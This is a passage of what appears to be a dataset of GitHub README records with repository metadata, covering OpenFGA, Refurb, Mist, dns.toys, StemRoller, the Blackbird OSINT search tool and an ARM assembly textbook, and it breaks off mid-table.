Store](https://openfga.dev/docs/getting-started/create-store). ```bash curl -X POST 'localhost:8080/stores' \ --header 'Content-Type: application/json' \ --data-raw '{ "name": "openfga-demo" }' ``` If everything is running correctly, you should get a response with information about the newly created store, for example: ```json { "id": "01G3EMTKQRKJ93PFVDA1SJHWD2", "name": "openfga-demo", "created_at": "2022-05-19T17:11:12.888680Z", "updated_at": "2022-05-19T17:11:12.888680Z" } ``` ## Playground The Playground facilitates rapid development by allowing you to visualize and model your application's authorization model(s) and manage relationship tuples with a locally running OpenFGA instance. To run OpenFGA with the Playground disabled, provide the `--playground-enabled=false` flag. ``` ./openfga run --playground-enabled=false ``` Once OpenFGA is running, by default, the Playground can be accessed at [http://localhost:3000/playground](http://localhost:3000/playground). In the event that a port other than the default port is required, the `--playground-port` flag can be set to change it. For example, ```sh ./openfga run --playground-enabled --playground-port 3001 ``` ## Profiler (pprof) Profiling through [pprof](https://github.com/google/pprof) can be enabled on the OpenFGA server by providing the `--profiler-enabled` flag. ```sh ./openfga run --profiler-enabled ``` This will start serving profiling data on port `3001`. You can see that data by visiting `http://localhost:3001/debug/pprof`. If you need to serve the profiler on a different address, you can do so by specifying the `--profiler-addr` flag. For example, ```sh ./openfga run --profiler-enabled --profiler-addr :3002 ``` Once the OpenFGA server is running, in another window you can run the following command to generate a compressed CPU profile: ```sh go tool pprof -proto -seconds 60 http://localhost:3001/debug/pprof/profile # will collect data for 60 seconds and generate a file like pprof.samples.cpu.001.pb.gz ``` That file can be analyzed visually by running the following command and then visiting `http://localhost:8084`: ```shell go tool pprof -http=localhost:8084 pprof.samples.cpu.001.pb.gz ``` ## Next Steps Take a look at examples of how to: - [Write an Authorization Model](https://openfga.dev/api/service#/Authorization%20Models/WriteAuthorizationModel) - [Write Relationship Tuples](https://openfga.dev/api/service#/Relationship%20Tuples/Write) - [Perform Authorization Checks](https://openfga.dev/api/service#/Relationship%20Queries/Check) - [Add Authentication to your OpenFGA server](https://openfga.dev/docs/getting-started/setup-openfga/docker#configuring-authentication) Don't hesitate to browse the official [Documentation](https://openfga.dev/), [API Reference](https://openfga.dev/api/service). ## Limitations ### MySQL Storage engine The MySQL storage engine has a lower length limit for some properties of a tuple compared with other storage backends. For more information see [the docs](https://openfga.dev/docs/getting-started/setup-openfga/docker#configuring-data-storage). OpenFGA's MySQL Storage Adapter was contributed to OpenFGA by [@twintag](https://github.com/twintag). Thanks! ## Production Readiness The core [OpenFGA](https://github.com/openfga/openfga) service has been in use by [Okta FGA](https://fga.dev) in production since December 2021. OpenFGA's Memory Storage Adapter was built for development purposes only and is not recommended for a production environment, because it is not designed for scalable queries and has no support for persistence. You can learn about more organizations using OpenFGA in production [here](https://github.com/openfga/community/blob/main/ADOPTERS.md). If your organization is using OpenFGA in production please consider adding it to the list. The OpenFGA team will do its best to address all production issues with high priority. ## Contributing See [CONTRIBUTING](https://github.com/openfga/.github/blob/main/CONTRIBUTING.md). [doc]: https://openfga.dev/docs [config-doc]: https://openfga.dev/docs/getting-started/setup-openfga/configure-openfga [api]: https://openfga.dev/api/service [prod-checklist]: https://openfga.dev/docs/getting-started/running-in-production ## Community Meetings We hold a monthly meeting to interact with the community, collaborate and receive/provide feedback. You can find more details, including the time, our agenda, and the meeting minutes [here](https://github.com/openfga/community/blob/main/community-meetings.md).	A high performance and flexible authorization/permission engine built for developers and inspired by Google Zanzibar	authorization,permissions,security,zanzibar,openfga,entitlements,go,golang,fine-grained-authorization,fine-grained-access-control	56	55	1,334	1,054	98	91	9
dosisod/refurb	# Refurb A tool for refurbishing and modernizing Python codebases. ## Example ```python # main.py for filename in ["file1.txt", "file2.txt"]: with open(filename) as f: contents = f.read() lines = contents.splitlines() for line in lines: if not line or line.startswith("# ") or line.startswith("// "): continue for word in line.split(): print(f"[{word}]", end="") print("") ``` Running: ``` $ refurb main.py main.py:3:17 [FURB109]: Use `in (x, y, z)` instead of `in [x, y, z]` main.py:4:5 [FURB101]: Use `y = Path(x).read_text()` instead of `with open(x, ...) as f: y = f.read()` main.py:10:40 [FURB102]: Replace `x.startswith(y) or x.startswith(z)` with `x.startswith((y, z))` main.py:16:9 [FURB105]: Use `print() instead of `print("")` ``` ## Installing ``` $ pipx install refurb $ refurb file.py folder/ ``` > Note > Refurb must be run on Python 3.10+, though it can check Python 3.7+ code by setting the `--python-version` flag. ## Explanations For Checks You can use `refurb --explain FURB123`, where `FURB123` is the error code you are trying to look up. For example: ```` $ refurb --explain FURB123 Don't cast a variable or literal if it is already of that type. For example: Bad: ``` name = str("bob") num = int(123) ``` Good: ``` name = "bob" num = 123 ``` ```` An online list of all available checks can be viewed [here](./docs/checks.md). ## Ignoring Errors Use `--ignore 123` to ignore error 123. The error code can be in the form `FURB123` or `123`. This flag can be repeated. > The `FURB` prefix indicates that this is a built-in error. The `FURB` prefix is optional, > but for all other errors (ie, `ABC123`), the prefix is required. You can also use inline comments to disable errors: ```python x = int(0) # noqa: FURB123 y = list() # noqa ``` Here, `noqa: FURB123` specifically ignores the FURB123 error for that line, and `noqa` ignores all errors on that line. You can also specify multiple errors to ignore by separating them with a comma/space: ```python x = not not int(0) # noqa: FURB114, FURB123 x = not not int(0) # noqa: FURB114 FURB123 ``` ## Enabling/Disabling Checks Certain checks are disabled by default, and need to be enabled first. You can do this using the `--enable ERR` flag, where `ERR` is the error code of the check you want to enable. A disabled check differs from an ignored check in that a disabled check will never be loaded, whereas an ignored check will be loaded, an error will be emitted, and the error will be suppressed. Use the `--verbose`/`-v` flag to get a full list of enabled checks. The opposite of `--enable` is `--disable`, which will disable a check. When `--enable` and `--disable` are both specified via the command line, whichever one comes last will take precedence. When using `enable` and `disable` via the config file, `disable` will always take precedence. Use the `--disable-all` flag to disable all checks. This allows you to incrementally `--enable` checks as you see fit, as opposed to adding a bunch of `--ignore` flags. To use this in the config file, set `disable_all` to `true`. Use the `--enable-all` flag to enable all checks by default. This allows you to opt into all checks that Refurb (and Refurb plugins) have to offer. This is a good option for new codebases. To use this in a config file, set `enable_all` to `true`. In the config file, `disable_all`/`enable_all` is applied first, and then the `enable` and `disable` fields are applied afterwards. > Note that `disable_all` and `enable_all` are mutually exclusive, both on the command line and in > the config file. You will get an error if you try to specify both. You can also disable checks by category using the `#category` syntax. For example, `--disable "#readability"` will disable all checks with the `readability` category. The same applies for `enable` and `ignore`. Also, if you disable an entire category you can still explicitly re-enable a check in that category. > Note that `#readability` is wrapped in quotes because your shell will interpret the `#` as the > start of a comment. ## Setting Python Version Use the `--python-version` flag to tell Refurb which version of Python your codebase is using. This should allow for better detection of language features, and allow for better error messages. The argument for this flag must be in the form `x.y`, for example, `3.10`. The syntax for using this in the config file is `python_version = "3.10"`. When the Python version is unspecified, Refurb uses whatever version your local Python installation uses. For example, if your `python --version` is `3.11.5`, Refurb uses `3.11`, dropping the `5` patch version. ## Changing Output Formats By default everything is outputted as plain text: ``` file.py:1:5 [FURB123]: Replace `int(x)` with `x` ``` Here are all of the available formats: * `text`: The default * `github`: Print output for use with [GitHub Annotations](https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions) * More to come! To change the default format use `--format XYZ` on the command line, or `format = "XYZ"` in the config file. ## Changing Sort Order By default errors are sorted by filename, then by error code. To change this, use the `--sort XYZ` flag on the command line, or `sort_by = "XYZ"` in the config file, where `XYZ` is one of the following sort modes: * `filename`: Sort files in alphabetical order (the default) * `error`: Sort by error first, then by filename ## Overriding Mypy Flags This is typically used for development purposes, but can also be used to better fine-tune Mypy from within Refurb. Any command line arguments after `--` are passed to Mypy. For example: ``` $ refurb files -- --show-traceback ``` This tells Mypy to show a traceback if it crashes. You can also use this in the config file by assigning an array of values to the `mypy_args` field. Note that any Mypy arguments passed via the command line arguments will override the `mypy_args` field in the config file. ## Configuring Refurb In addition to the command line arguments, you can also add your settings in the `pyproject.toml` file. For example, the following command line arguments: ``` refurb file.py --ignore 100 --load some_module --quiet ``` Corresponds to the following in your `pyproject.toml` file: ```toml [tool.refurb] ignore = [100] load = ["some_module"] quiet = true ``` Now all you need to type is `refurb file.py`! Note that the values in the config file will be merged with the values specified via the command line. In the case of boolean arguments like `--quiet`, the command line arguments take precedence. All other arguments (such as `ignore` and `load`) will be combined. You can use the `--config-file` flag to tell Refurb to use a different config file from the default `pyproject.toml` file. Note that it still must be in the same form as the normal `pyproject.toml` file. Click [here](./docs/configs/README.md) to see some example config files. ### Ignore Checks Per File/Folder If you have a large codebase you might want to ignore errors for certain files or folders, which allows you to incrementally fix errors as you see fit. To do that, add the following to your `pyproject.toml` file: ```toml # these settings will be applied globally [tool.refurb] enable_all = true # these will only be applied to the "src" folder [[tool.refurb.amend]] path = "src" ignore = ["FURB123", "FURB120"] # these will only be applied to the "src/util.py" file [[tool.refurb.amend]] path = "src/util.py" ignore = ["FURB125", "FURB148"] ``` > Note that only the `ignore` field is available in the `amend` sections. This is because > a check can only be enabled/disabled for the entire codebase, and cannot be selectively > enabled/disabled on a per-file basis. Assuming a check is enabled though, you can simply > `ignore` the errors for the files of your choosing. ## Using Refurb With `pre-commit` You can use Refurb with [pre-commit](https://pre-commit.com/) by adding the following to your `.pre-commit-config.yaml` file: ```yaml - repo: https://github.com/dosisod/refurb rev: REVISION hooks: - id: refurb ``` Replacing `REVISION` with a version or SHA of your choosing (or leave it blank to let `pre-commit` find the most recent one for you). ## Plugins Installing plugins for Refurb is very easy: ``` $ pip install refurb-plugin-example ``` Where `refurb-plugin-example` is the name of the plugin. Refurb will automatically load any installed plugins. To make your own Refurb plugin, see the [`refurb-plugin-example` repository](https://github.com/dosisod/refurb-plugin-example) for more info. ## Writing Your Own Check If you want to extend Refurb but don't want to make a full-fledged plugin, you can easily create a one-off check file with the `refurb gen` command. > Note that this command uses the `fzf` fuzzy-finder for getting user input, > so you will need to [install fzf](https://github.com/junegunn/fzf#installation) before continuing. Here is the basic overview for creating a new check using the `refurb gen` command: 1. First select the node type you want to accept 2. Then type in where you want to save the auto generated file 3. Add your code to the new file To get an idea of what you need to add to your check, use the `--debug` flag to see the AST representation for a given file (ie, `refurb --debug file.py`). Take a look at the files in the `refurb/checks/` folder for some examples. Then, to load your new check, use `refurb file.py --load your.path.here` > Note that when using `--load`, you need to use dots in your argument, just like > importing a normal python module. If `your.path.here` is a directory, all checks > in that directory will be loaded. If it is a file, only that file will be loaded. ## Troubleshooting If Refurb is running slow, use the `--timing-stats` flag to diagnose why: ``` $ refurb file --timing-stats /tmp/stats.json ``` This will output a JSON file with the following information: * Total time Mypy took to parse the modules (a majority of the time usually). * Time Mypy spent parsing each module. Useful for finding very large/unused files. * Time Refurb spent checking each module. These numbers should be very small (less than 100ms). Larger files naturally take longer to check, but files that take way too long should be looked into, as an issue might only manifest themselves when a file reaches a certain size. ## Disable Color Color output is enabled by default in Refurb. To disable it, do one of the following: * Set the `NO_COLOR` env var. * Use the `--no-color` flag. * Set `color = false` in the config file. * Pipe/redirect Refurb output to another program or file. ## Developing / Contributing ### Setup To setup locally run: ``` $ git clone https://github.com/dosisod/refurb $ cd refurb $ make install ``` Tests can be ran all at once using `make`, or you can run each tool on its own using `make black`, `make flake8`, and so on. Unit tests can be ran with `pytest` or `make test`. > Since the end-to-end (e2e) tests are slow, they are not ran when running `make`. > You will need to run `make test-e2e` to run them. ### Updating Documentation We encourage people to update the documentation when they see typos and other issues! With that in mind though, don't directly modify the `docs/checks.md` file. It is auto-generated and will be overridden when new checks are added. The documentation for checks can be updated by changing the docstrings of in the checks themselves. For example, to update `FURB100`, change the docstring of the `ErrorInfo` class in the `refurb/checks/pathlib/with_suffix.py` file. You can find the file for a given check by grep-ing for `code = XYZ`, where `XYZ` is the check you are looking for but with the `FURB` prefix removed. Use the `--verbose` flag with `--explain` to find the filename for a given check. For example: ``` $ refurb --explain FURB123 --verbose Filename: refurb/checks/readability/no_unnecessary_cast.py FURB123: no-redundant-cast [readability] ... ``` ## Why Does This Exist? I love doing code reviews: I like taking something and making it better, faster, more elegant, and so on. Lots of static analysis tools already exist, but none of them seem to be focused on making code more elegant, more readable, or more modern. That is where Refurb comes in. Refurb is heavily inspired by [clippy](https://rust-lang.github.io/rust-clippy/master/index.html), the built-in linter for Rust. ## What Refurb Is Not Refurb is not a style/type checker. It is not meant as a first-line of defense for linting and finding bugs, it is meant for making good code even better. ## Comparison To Other Tools There are already lots of tools out there for linting and analyzing Python code, so you might be wondering why Refurb exists (skepticism is good!). As mentioned above, Refurb checks for code which can be made more elegant, something that no other linters (that I have found) specialize in. Here is a list of similar linters and analyzers, and how they differ from Refurb: [Black](https://github.com/psf/black): is more focused on the formatting and styling of the code (line length, trailing comas, indentation, and so on). It does a really good job of making other projects using Black look more or less the same. It doesn't do more complex things such as type checking or code smell/anti-pattern detection. [flake8](https://github.com/pycqa/flake8): flake8 is also a linter, is very extensible, and performs a lot of semantic analysis-related checks as well, such as "unused variable", "break outside of a loop", and so on. It also checks PEP8 conformance. Refurb won't try and replace flake8, because chances are you are already using flake8 anyways. [Pylint](https://github.com/PyCQA/pylint) has [a lot of checks](https://pylint.pycqa.org/en/latest/user_guide/messages/messages_overview.html) which cover a lot of ground, but in general, are focused on bad or buggy code, things which you probably didn't mean to do. Refurb assumes that you know what you are doing, and will try to cleanup what is already there the best it can. [Mypy](https://github.com/python/mypy), [Pyright](https://github.com/Microsoft/pyright), [Pyre](https://github.com/facebook/pyre-check), and [Pytype](https://github.com/google/pytype) are all type checkers, and basically just enforce types, ensures arguments match, functions are called in a type safe manner, and so on. They do much more then that, but that is the general idea. Refurb actually is built on top of Mypy, and uses its AST parser so that it gets good type information. [pyupgrade](https://github.com/asottile/pyupgrade): Pyupgrade has a lot of good checks for upgrading your older Python code to the newer syntax, which is really useful. Where Refurb differs is that Pyupgrade is more focused on upgrading your code to the newer version, whereas Refurb is more focused on cleaning up and simplifying what is already there. In conclusion, Refurb doesn't want you to throw out your old tools, since they cover different areas of your code, and all serve a different purpose. Refurb is meant to be used in conjunction with the above tools.	A tool for refurbishing and modernizing Python codebases	cli,mypy,python,python310,testing,gplv3,python311,python312	33	15	244	402	27	1	2
ninxsoft/Mist	<!-- markdownlint-disable-next-line first-line-heading no-inline-html --> <img align="left" width="128" height="128" src="README%20Resources/App%20Icon.png" alt="App Icon"> # MIST - macOS Installer Super Tool ![Latest Release](https://img.shields.io/github/v/release/ninxsoft/Mist?display_name=tag&label=Latest%20Release&sort=semver) ![Downloads](https://img.shields.io/github/downloads/ninxsoft/Mist/total?label=Downloads) [![Linting](https://github.com/ninxsoft/Mist/actions/workflows/linting.yml/badge.svg)](https://github.com/ninxsoft/Mist/actions/workflows/linting.yml) [![Unit Tests](https://github.com/ninxsoft/Mist/actions/workflows/unit_tests.yml/badge.svg)](https://github.com/ninxsoft/Mist/actions/workflows/unit_tests.yml) [![Build](https://github.com/ninxsoft/Mist/actions/workflows/build.yml/badge.svg)](https://github.com/ninxsoft/Mist/actions/workflows/build.yml) A Mac utility that automatically downloads macOS Firmwares / Installers: ![Example Screenshot](README%20Resources/Example.png) <!-- markdownlint-disable no-trailing-punctuation --> ## :information_source: Check out [mist-cli](https://github.com/ninxsoft/mist-cli) for the companion command-line tool! ## ![Slack](README%20Resources/Slack.png) Check out [#mist](https://macadmins.slack.com/archives/CF0CFM5B7) on the [Mac Admins Slack](https://macadmins.slack.com) to discuss all things Mist! <!-- markdownlint-enable no-trailing-punctuation --> <!-- markdownlint-disable no-inline-html --> <a href="https://www.buymeacoffee.com/ninxsoft"><img width="214" height="60" src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" alt="Buy me a coffee"></a> <!-- markdownlint-enable no-inline-html --> ## Features - [x] List all available macOS Firmwares / Installers available for download: - Display names, versions, builds, release dates and sizes - Optionally show beta versions of macOS - Filter macOS versions that are compatible with the Mac the app is being run from - Export lists as CSV, JSON, Property List or YAML - [x] Download available macOS Firmwares / Installers: - For Apple Silicon Macs: - Download a Firmware Restore file (.ipsw) - Validates the SHA-1 checksum upon download - For Intel based Macs (Universal for macOS Big Sur and later): - Generate an Application Bundle (.app) - Generate a Disk Image (.dmg) - Generate a Bootable Disk Image (.iso) - For use with virtualization software (ie. Parallels Desktop, UTM, VMware Fusion, VirtualBox) - Generate a macOS Installer Package (.pkg) - Supports packages on macOS Big Sur and newer with a massive 12GB+ payload! - Optionally codesign Disk Images and macOS Installer Packages - Cache downloads to speed up build operations - Select custom Software Update Catalogs, allowing you to list and download macOS Installers from the following: - Standard: The default catalog that ships with macOS - Customer Seed: The catalog available as part of the [AppleSeed Program](https://appleseed.apple.com/) - Developer Seed: The catalog available as part of the [Apple Developer Program](https://developer.apple.com/programs/) - Public Seed: The catalog available as part of the [Apple Beta Software Program](https://beta.apple.com/) - Note: Catalogs from the Seed Programs may contain beta / unreleased versions of macOS. Ensure you are a member of these programs before proceeding. - Validates the Chunklist checksums upon download - Automatic retries for failed downloads! Note: Depending on what Mist downloads, you may require allowing Full Disk Access for Mist via [System Settings](https://support.apple.com/en-us/guide/mac-help/mh15217/13.0/mac/13.0): ![Full Disk Access](README%20Resources/Full%20Disk%20Access.png) ## Build Requirements - Swift 5.10 \| Xcode 14.0. - Runs on macOS Monterey 12.0 and later. ## Download - Grab the latest version of Mist from the [releases page](https://github.com/ninxsoft/Mist/releases). - Alternatively, install via [Homebrew](https://brew.sh) by running `brew install --cask mist` ## Credits / Thank You - Project created and maintained by Nindi Gill ([ninxsoft](https://github.com/ninxsoft)). - JP Simard ([jpsim](https://github.com/jpsim)) for [Yams](https://github.com/jpsim/Yams), used to export lists as YAML. - Josh Kaplan ([jakaplan](https://github.com/jakaplan)) for [Blessed](https://github.com/trilemma-dev/Blessed) and [SecureXPC](https://github.com/trilemma-dev/SecureXPC), which are used to support the Privileged Helper Tool. - The Sparkle Project ([sparkle-project](https://github.com/sparkle-project)) for [Sparkle](https://github.com/sparkle-project/Sparkle), used to auto update Mist. - Callum Jones ([cj123](https://github.com/cj123)) for [IPSW Downloads API](https://ipswdownloads.docs.apiary.io), used to determine macOS Firmware metadata. ## License > Copyright © 2024 Nindi Gill > > Permission is hereby granted, free of charge, to any person obtaining a copy > of this software and associated documentation files (the "Software"), to deal > in the Software without restriction, including without limitation the rights > to use, copy, modify, merge, publish, distribute, sublicense, and/or sell > copies of the Software, and to permit persons to whom the Software is > furnished to do so, subject to the following conditions: > > The above copyright notice and this permission notice shall be included in all > copies or substantial portions of the Software. > > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR > IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, > FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE > AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER > LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, > OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE > SOFTWARE.	A Mac utility that automatically downloads macOS Firmwares / Installers.	null	14	2	33	281	7	2	4
knadh/dns.toys	<img width="150" src="https://user-images.githubusercontent.com/547147/171995179-b9d2faae-d659-4260-99df-04c62c171f6f.png" /> dns.toys is a DNS server that takes creative liberties with the DNS protocol to offer handy utilities and services that are easily accessible via the command line. For docs, visit [www.dns.toys](https://www.dns.toys) ## Sample commands ```shell dig help @dns.toys dig mumbai.time @dns.toys dig 2023-05-28T14:00-bengaluru-berlin/de.time @dns.toys dig newyork.weather @dns.toys dig 42km-mi.unit @dns.toys dig 100USD-INR.fx @dns.toys dig ip @dns.toys dig 987654321.words @dns.toys dig pi @dns.toys dig 100dec-hex.base @dns.toys dig fun.dict @dns.toys dig A12.9352,77.6245/12.9698,77.7500.aerial @dns.toys ``` ## Running locally - Clone the repo - Copy `config.sample.toml` to `config.toml` and edit the config - Make sure you have a copy of the `cities15000.txt` file at the root of this directory (instructions are in the `config.sample.toml` file) - Make sure to download the `wordnet` from [Wordnet website](https://wordnetcode.princeton.edu/3.0/WNdb-3.0.tar.gz).(more instructions are in the `config.sample.toml` file) - Extract the tarball and rename extracted the directory to `wordnet` - Run `make build` to build the binary and then run `./dnstoys.bin` - Query against the locally running server ```shell dig <query> +short @127.0.0.1 -p 5354 ``` ## Others - [DnsToys.NET](https://github.com/fatihdgn/DnsToys.NET) - A .net client library for the service.	A DNS server that offers useful utilities and services over the DNS protocol. Weather, world time, unit conversion etc.	dns,dns-server,fun,unit-conversion,weather	0	25	40	85	9	3	0
stemrollerapp/stemroller	# StemRoller StemRoller is the first free app which enables you to separate vocal and instrumental stems from any song with a single click! StemRoller uses Facebook's state-of-the-art [Demucs](https://github.com/facebookresearch/demucs) algorithm for demixing songs and integrates search results from YouTube. Simply type the name/artist of any song into the search bar and click the Split button that appears in the results! You'll need to wait several minutes for splitting to complete. Once stems have been extracted, you'll see an Open button next to the song - click that to access your stems! _We also have a [Discord server](https://www.stemroller.com/chat) with update announcements and support_. ## Quick Start Using StemRoller couldn't be easier - just head to the [StemRoller website](https://stemroller.com) or the [releases page](https://github.com/stemrollerapp/stemroller/releases) and download the latest version! That bundle includes everything you need to split stems. If, however, you want to get involved in StemRoller development, read on... ## Install Dependencies ``` git clone https://github.com/stemrollerapp/stemroller.git cd stemroller npm i -D ``` ### Windows/macOS `npm run download-third-party-apps` ### Linux (Not officially supported) Install `ffmpeg` globally using your preferred package manager, and install `demucs` globally with `pip`. ## Run in Development Mode `npm run dev` ## Run in Production Mode `npm run build:svelte && npm run start` ## Production Build ### Windows `npm run build:win` ### macOS `npm run build:mac` ## License Your choice of Public Domain (Unlicense) or MIT No Attribution - please read the [LICENSE](https://github.com/stemrollerapp/stemroller/blob/main/LICENSE) file for more information.	Isolate vocals, drums, bass, and other instrumental stems from any song	bass,deep-learning,demucs,drums,electron,javascript,python,vocals,machine-learning,source-separation	9	5	20	66	2	1	2
p1ngul1n0/blackbird	# Blackbird <figure><img src="./docs/.gitbook/assets/blackbird_printscreen.png" alt=""><figcaption></figcaption></figure> > Blackbird is a robust OSINT tool that facilitates rapid searches for user accounts by username or email across a wide array of platforms, enhancing digital investigations. It features WhatsMyName integration, export options in PDF, CSV, and HTTP response formats, and customizable search filters. ### Setup Clone the repository ```bash git clone https://github.com/p1ngul1n0/blackbird cd blackbird ``` Install requirements ```bash pip install -r requirements.txt ``` ### Usage Search by username ```bash python blackbird.py --username username1 username2 username3 ``` Search by email ```bash python blackbird.py --email email1@email.com email2@email.com email3@email.com ``` Export results to PDF ```bash python blackbird.py --email email1@email.com --pdf ``` ## More For more details about the project, visit the <a href="https://p1ngul1n0.gitbook.io/blackbird/">Docs</a> ### Project Developer [Lucas Antoniaci](https://www.linkedin.com/in/lucas-antoniaci/) [![Brazil](https://raw.githubusercontent.com/stevenrskelton/flag-icon/master/png/16/country-4x3/br.png)](https://raw.githubusercontent.com/stevenrskelton/flag-icon/master/png/16/country-4x3/br.png) ### WhatsMyName Blackbird is fully integrated with [WhatsMyName](https://github.com/WebBreacher/WhatsMyName) project, witch has 600+ sites to perform accurate reverse username search. ### Sponsors <p align="center"> <a href="https://site.cyberhunteracademy.com/"> <img alt="Cyber Hunter Lab" width="150" src="https://raw.githubusercontent.com/p1ngul1n0/src/master/logo_chl.jpg" /> </a> </p> ### Disclaimer ``` This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (P1ngul1n0) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not P1ngul1n0's responsibility. ```	An OSINT tool to search for accounts by username and email in social networks.	osint,pentesting,cybersecurity,python	0	16	52	550	0	19	2
vercel/next-app-router-playground	null	https://app-router.vercel.app/	nextjs,vercel,react	0	97	172	123	0	85	0
pkivolowitz/asm_book	# A Gentle Introduction to Assembly Language Programming This textbook provides a gentle introduction to assembly language programming. What makes this introduction "gentle" is that it assumes the reader is already comfortable with C or C++ coding. We use this assumed knowledge to bridge backward towards the low level ISA (Instruction Set Architecture). We drive home a very sharp point: <center> <i>Assembly language is nothing to be scared of!</i> </center> </br> </br> <h2> <a href="#table-of-contents"> Quick Link to Table of Contents </a> </h2> <br/> ## Front Matter ### For Whom Is This Book Intended? As mentioned, if you are already familiar with C (or languages descended from C such as C++), this book begins with what you already know. Later chapters dive more deeply into the corners and recesses of the ARM V8 ISA and are suitable for those wishing to master the rich instruction set of the 64 bit ARM processors. ### Can This Book Be Used In Courses Covering Assembly Language? Yes, absolutely. ### Calling Convention Used In This Book Assembly language programming is quite closely dependent upon the underlying hardware architecture. The host operating environment plays an outsized role in determining how assembly language programs are constructed. A "calling convention" refers to how functions are called and how parameters are passed. Originally, this book taught only the ARM LINUX conventions. However, over time, we developed a suite of macros that make it much easier to write code for use either on MacOS or on LINUX. [This link](./macros/) will lead to a current copy of them as well as documentation. Macros that make programming a bit easier are also included. [This chapter](./more/apple_silicon/) provides some additional information about Apple Silicon assembly language programming. You'll notice that we make use of the C-runtime directly rather than make OS system calls. So, for instance, if we want to call `write()`, we call `write` from the assembly language. This version of the system call `write` is a wrapper function built into the C-runtime (CRT) which handles the lower level details of performing a system call. See the [here](./more/system_calls/README.md) on what actually happens inside these wrapper functions. The benefit of using the CRT wrappers is that there are differences between the distributions and architectures that are masked by using the CRT wrappers. Therefore, when you use the wrappers rather than the direct method of making system calls, your code will be more portable. ### A Lot of Names As commendable as the ARM designs are, ARM's naming conventions for their Intellectual Properties are horrid. In this book, AARCH64 and ARM V8 are taken to be synonyms for the 64 bit ARM Instruction Set Architecture (ISA). It is very difficult to find documentation at the ARM site because they have so many versions, so many names for the same thing and so much documentation in general. It really can be maddening. Within the text we will provide germane links as appropriate. [Here](<https://developer.arm.com/documentation/ddi0596/2021-12?lang=en>) is a link to "a" main instruction set page. ### What you need to work with assembly language on Linux Getting the tools for assembly language development is quite straight forward - perhaps you already have them. Using `apt` from the Linux terminal, say: ```text sudo apt update sudo apt install build-essential gdb ``` On the Macintosh type: `xcode-select --install` into a terminal and follow directions. Note that `gdb` is replaced by `lldb` with just enough differences to make you cry. Then you'll need your favorite editor. We ourselves use `vi` for quick edits and Visual Studio Code for any heavy lifting. ### How to build an assembly language We use `gcc`, the C "compiler". `g++` could also be used. On the Mac, `clang` can also be used. What sense does that make... using the "compiler" to "compile" assembly language? Well, to answer that one must understand that the word "compiler" refers to only one step in a build sequence. What we talk about as being the "compiler" is actually an umbrella that includes: * A preprocessor that acts on any `#` preprocessor command like `#include`. These commands are not part of C or C++. Rather they are commands to the preprocessor. Note that `gcc` will invoke the C preprocessor if your assembly language file ends in `.S` - capital S. It may or may not be invoked if your file ends in a lower case s or any other file extension depending upon your system. * The actual compiler, whose job it is turn high level languages such as C and C++ into assembly language. * The assembler, which turns assembly language into machine code which is not quite ready for execution. * And finally, the linker, which combines potentially many intermediate machine code files (called object files), potentially many library files (statically linked .dlls on Windows and .a files on Linux). The linker is the last step in this chain. [Here](https://youtu.be/Iv3psS4n9j8) is a video explaining this process. We use gcc and g++ directly because, being umbrellas, they automate the above steps and automatically link with the CRT. Suppose you've implemented `main()` in a C file (main.c) and want to make use of an assembly language file you have written (asm.S). It can be done in several ways. #### All at once ```text gcc main.c asm.S ``` That's all you need for a minimal build. The resulting program will be written to `a.out`. All the intermediate files that are generated will be removed. #### Modularly ```text gcc -c main.c gcc -c asm.S gcc main.o asm.o ``` Used in this way, `.o` files are left on disk. Using the previous method, the `.o` files are removed without you seeing them. ### If there are no C or C++ modules used Suppose `main()` is implemented in assembly language and `main.s` is self-contained, then simply: ```text gcc main.S ``` Often, you will want to enable the debugger `gdb` or `lldb`. Do this: ```text gcc -g main.S ``` Without the `-g` command line option, your debugger may not properly operate. #### The C Pre-Processor To repeat, if you want `gcc` to run your code through the C pre-processor (for handing `#include` for example), name your assembly language source code files with a capital S. So, on Linux: `gcc main.s` Will not go through the C pre-processor but `gcc main.S` will. #### Programs called by the "Compiler" To drive home the point that the "compiler" is an umbrella, using gcc to "compile" a program causes the following to be called on Ubuntu running on ARM: ```text /usr/bin/cpp /usr/lib/gcc/aarch64-linux-gnu/11/cc1 /usr/bin/as /usr/lib/gcc/aarch64-linux-gnu/11/collect2 which is... /usr/bin/ld ``` `cpp` is the C preprocessor - it is a general tool can is used by other languages as well (C++, for example). `cc1` is the actual compiler. `as` is the assembler. `ld` is the linker. You can see why we default to using the umbrella command in this book. ## Table of Contents ### Section 1 - Bridging from C / C++ to Assembly Language We start by providing what we're calling "bridging" from C and C++ to assembly language. We use the knowledge you already have to learn new knowledge - how cool is that! \| Chapter \| Markdown \| PDF \| \| ------- \| -------- \| --- \| \| 0 \| [Kickstart](./section_1/kickstart.md) \| [Link](./section_1/kickstart.pdf) \| \| 1 \| [Hello World](./section_1/hello_world/README.md) \| [Link](./section_1/hello_world/README.pdf) \| \| 2 \| [If Statements](./section_1/if/README.md) \| [Link](./section_1/if/README.pdf) \| \| 3 \| Loops \| \| \| 3a \| [While Loops](./section_1/while/README.md) \| [Link](./section_1/while/README.pdf) \| \| 3b \| [For Loops](./section_1/for/README.md) \| [Link](./section_1/for/README.pdf) \| \| 3c \| [Implementing Continue](./section_1/for/README.md#implementing-a-continue) \| [Link](./section_1/for/README.pdf) \| \| 3d \| [Implementing Break](./section_1/for/README.md#implementing-a-break) \| [Link](./section_1/for/README.pdf) \| \| 4 \| Interludes \| \| \| 4a \| [Registers](./section_1/regs/README.md) \| [Link](./section_1/regs/README.pdf) \| \| 4b \| [Load and Store](./section_1/regs/ldr.md) \| [Link](./section_1/regs/ldr.pdf) \| \| 4c \| 